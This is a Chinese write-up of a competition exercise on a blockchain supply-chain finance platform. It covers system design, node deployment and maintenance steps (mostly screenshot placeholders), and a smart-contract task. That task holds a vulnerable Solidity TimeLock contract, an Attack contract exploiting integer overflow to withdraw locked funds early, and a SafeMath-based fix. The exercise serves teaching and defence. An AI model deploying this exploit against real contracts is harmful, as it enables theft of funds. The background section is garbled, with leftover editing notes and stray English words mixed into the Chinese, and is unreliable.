Advertisement

金融供应链(模块一)

阅读量:

区块链技术应用--------金融供应链

背景描述

在供应链金融这一庞大市场版块中(注:此处"万亿级市场"已替换为"这一庞大市场版块"),区块链技术正以一种更快捷的方式加速商业化进程(注:"快速"改为" faster"使表达更加简洁有力),从而推动整个产业生态的革新与发展(注:"助力产业革新"改为"从而推动整个产业生态的革新与发展"使表述更加专业)。基于区块链原理设计的供应链金融服务理念表明:该服务模式以企业应收账款来源为基础资产池(注:"底层资产"改为"基础资产池"使表述更加专业),通过区块链技术支撑债券凭证的转让拆分(注:"实现"改为"sUPPORT", "底层资产"改为"基础资产池", 使表述更加简洁有力)。在此过程中(注:"其中"保留原意),首先需经过审核把关(注:"确认贸易关系和身份真实有效"改为 "审核把关环节会对贸易关系及交易双方身份进行多级把关机制", 使表述更加具体完整)。随后,在债权凭证流转过程中(注:"均完整追溯到最底层资产"改为 "清晰可追溯至基础资产池", 使表述更加专业详细), 各环节操作均能保证信息流的安全性和完整性, 最终实现核心企业和金融机构对供应商信用信息的全面掌握能力

某公司计划开发一个基于区块链技术的供应链金融服务平台,并涵盖核心企业和供应商等关键参与方以及银行等金融机构。该平台将利用智能合约代码逐步构建基础功能模块,并实现银行能够向核心企业发放信用证并 issuance 数字信用证。各参与方之间的交易可以通过转让电子化凭证完成。同时需要对前后端系统进行开发和集成以支持基本业务流程。

在这里插入图片描述

模块一:区块链产品方案设计及系统运维

任务1-1:区块链产品需求分析与方案设计

本环节需要依据项目背景完成需求分析与方案设计,具体要求如下:

基于给定的供应链金融管理系统架构图展开业务分析工作,在充分考虑一个典型业务系统的必要模块时,请利用Visio或思维导图工具绘制本系统的整体设计方案及其处理流程图,并将整个系统划分为两大部分:一是区块链供应链业务平台;二是支撑平台

在这里插入图片描述

基于供应链系统架构,在该系统中包含用户管理和凭证票据管理两大核心模块,在融资凭证上链的过程中需包含银行、核心企业以及供应商公司各自的基础业务管理模块。根据上述描述进行规划,完成区块链系统的总体功能框架图。(3分)

在这里插入图片描述

3.综合前述设计成果,优化完善"供应链金融管理系统概要设计说明书.doc".具体工作内容如下:

按照说明书中模块的需求对设计内容加以补充,并对概要设计说明书中的'需求概要部分'加以完善。

(2) 完善说明书中接口说明部分内容。(2分)

任务1-2:区块链系统部署与运维

基于供应链金融区块链平台的部署与运维需求,组织相关系统架构及节点配置完成部署任务。借助监控工具实施网络运行状态及节点服务实时监管。最终依据业务运营规范要求,对系统运行日志、网络参数指标以及各节点服务性能数据进行规范化管理。

根据参数与端口设置要求,部署区块链系统并验证;

根据参数与端口设置要求,部署区块链网络管理平台并验证;

基于区块链系统相关管理平台,按照任务指南实施系统运维工作并验证。

基于区块链系统相关监管工具,按照任务指南对区块链系统进行监管。

子任务1-2-1: 搭建区块链系统并验证

基于给定的服务器环境和软件(地址为"/root/tools"),使用Docker按默认配置部署单机四个节点的区块链系统,并成功实现控制台工具的部署。

(1) 完成系统搭建配置与启动。(1分)

在这里插入图片描述
在这里插入图片描述

(2) 使用基于Docker命令查看区块链系统状态。(1分)

在这里插入图片描述

(3) 检查区块链系统节点node0连接状态输出。(1分)

在这里插入图片描述

(4) 配置控制台,管理相关证书并启动。(1分)

在这里插入图片描述
子任务1-2-2:区块链管理平台部署与验证

在指定的服务器环境中,并利用软件(地址为"/root/tools"),按照相关要求进行区块链管理系统部署。具体工作包括:完成系统架构设计、编写相关代码、配置必要的依赖项并进行测试验证。

(1) 配置Mysql数据库(1分)

在这里插入图片描述

(2) 配置管理平台连接区块链系统(1分)

在这里插入图片描述

(3) 使用命令启动管理平台服务(1分)

在这里插入图片描述

(4) 验证管理平台启动情况(1分)

在这里插入图片描述
在这里插入图片描述
子任务1-2-3:区块链系统节点运维

基于已完成的区块链系统与管理平台搭建工作,开展相关节点运维工作:

(1) 生成新节点(node4),启动并检查(1分)

在这里插入图片描述
在这里插入图片描述

(2) 修改新节点配置,并查看节点的nodeid(1分)

在这里插入图片描述
在这里插入图片描述

(3) 将新节点作为观察节点加入group1当中,并检查是否加入成功(1分)

在这里插入图片描述
子任务1-2-4:区块链系统管理平台运维

基于已部署的区块链系统管理平台,进行系统相关运维工作:

(1) 基于管理平台功能页面,添加新主机(2分)

在这里插入图片描述
在这里插入图片描述

(2) 基于管理平台功能页面,修改新节点(node4)节点状态,并监控。(2分)

在这里插入图片描述
在这里插入图片描述

任务1-3:区块链系统测试

制定针对区块链系统的全面测试方案;
基于实际业务需求,在运行部署的智能合约环境中执行系统性测试;实施性能评估;以及进行稳定性验证。
依据业务需求分析并修复给定智能合约中的潜在安全漏洞。
通过模拟业务场景和专业的测试工具来实现区块链服务数据的全面验证。

采用区块链技术的代码逻辑实现中间件服务的部署流程,并对构建完整的运行环境进行系统性测试和验证;最终输出并保存执行结果的可视化截图。(3分)

(1) 实现区块链系统中间件服务平台部署。(1分)

在这里插入图片描述

(2) 实现区块链系统中间件服务签名功能启动情况验证。(1分)

在这里插入图片描述
在这里插入图片描述

(3) 区块链中间件服务节点管理进程启动情况验证和浏览器验证。(1分)

在这里插入图片描述
在这里插入图片描述

2.智能合约安全漏洞测试。

有如下智能合约:

复制代码
    pragma solidity ^0.7.6;
    
    contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;
    
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }
    
    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }
    
    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
    
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;
    
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
    }
    
    contract Attack {
    TimeLock timeLock;
    
    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }
    
    fallback() external payable {}
    
    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
    }
    
    
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    
    代码解释

(1)分析智能合约中存在问题,并说明危害。(2分)

这个是智能合约中比较典型的漏洞,整型溢出。当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都存在类似的问题。

从该系统中提取代码文件作为基础,并按照既定标准生成相应的测试用例文档以模拟潜在的安全漏洞。

在这里插入图片描述
在这里插入图片描述

(3)创建新的智能合约,修复其中问题,说明修复内容并测试。(2分)

在这里插入图片描述
在这里插入图片描述

这里引用了safeMath通用函数,能够有效解决这个问题。

在这里插入图片描述

有交易回滚,说明漏洞已被修复。

全部评论 (0)

还没有任何评论哟~